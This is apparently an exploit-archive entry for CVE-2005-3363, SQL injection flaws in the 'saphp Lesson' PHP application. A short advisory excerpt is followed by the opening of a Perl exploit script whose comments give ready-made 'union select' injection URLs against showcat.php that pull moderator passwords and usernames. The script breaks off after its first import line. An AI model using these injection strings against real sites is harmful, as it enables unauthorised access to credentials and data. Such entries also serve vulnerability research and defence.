CVE-2005-3363

source: wwwsecurityfocuscom/bid/15185/info saphp Lesson is prone to multiple SQL injection vulnerabilities These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries Successful exploitation could result in a compromise of the application, disclosure or modification of da ...

#!/usr/bin/perl # # For password # wwwexamplecom/path/showcatphp?forumid=-1%20union%20select%20ModPassword%20from%20modretor # For username # wwwexamplecom/path/showcatphp?forumid=-1%20union%20select%20ModName%20from%20modretor # sent in by SnIpEr_SA (selfar2002[at]hotmailcom) # ported by str0ke (milw0rmcom) use LWP::Simple; ...